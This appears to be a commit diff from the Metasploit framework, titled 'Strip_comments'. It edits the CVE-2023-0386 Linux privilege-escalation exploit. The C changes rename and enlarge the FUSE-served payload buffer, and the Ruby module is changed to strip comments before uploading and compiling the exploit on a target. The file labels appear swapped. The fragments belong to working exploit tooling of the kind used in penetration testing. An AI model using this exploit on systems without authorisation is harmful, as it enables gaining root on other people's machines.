Strip_comments

Author: Takahiro-Yoko

data/exploits/CVE-2023-0386/cve-2023-0386

@@ -13,7 +13,7 @@
 #include <unistd.h>
 #include <signal.h>
 
-char shell[0x100000];
+char SHELL[0x5000000];
 
 #define STR_LENGTH 500
 char DIR_BASE[STR_LENGTH];
@@ -43,7 +43,7 @@ static int getattr_callback(const char *path, struct stat *stbuf)
         stbuf->st_nlink = 1;
         stbuf->st_uid = 0;
         stbuf->st_gid = 0;
-        stbuf->st_size = sizeof(shell);
+        stbuf->st_size = sizeof(SHELL);
         return 0;
     }
     else if (strcmp(path, "/") == 0)
@@ -82,17 +82,17 @@ static int read_callback(const char *path,
     char tmp;
     if (strcmp(path, "/file") == 0)
     {
-        size_t len = sizeof(shell);
+        size_t len = sizeof(SHELL);
         if (offset >= len)
             return 0;
         if ((size > len) || (offset + size > len))
         {
-            memcpy(buf, shell + offset, len - offset);
+            memcpy(buf, SHELL + offset, len - offset);
             return len - offset;
         }
         else
         {
-            memcpy(buf, shell + offset, size);
+            memcpy(buf, SHELL + offset, size);
             return size;
         }
     }
@@ -180,7 +180,7 @@ int main(int argc, char const *argv[])
         fatal("open payload");
     }
     int clen = 0;
-    while (read(fd, shell + clen, 1) > 0)
+    while (read(fd, SHELL + clen, 1) > 0)
         clen++;
     close(fd);
 

external/source/exploits/CVE-2023-0386/exploit.c

@@ -117,7 +117,7 @@ def exploit
 
     if live_compile?
       vprint_status('Live compiling exploit on system...')
-      upload_and_compile("#{exploit_dir}/cve-2023-0386", exploit_source('CVE-2023-0386', 'exploit.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
+      upload_and_compile("#{exploit_dir}/cve-2023-0386", strip_comments(exploit_source('CVE-2023-0386', 'exploit.c')), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
     else
       vprint_status('Dropping pre-compiled exploit on system...')
       upload_and_chmodx("#{exploit_dir}/cve-2023-0386", exploit_data('CVE-2023-0386', 'cve-2023-0386'))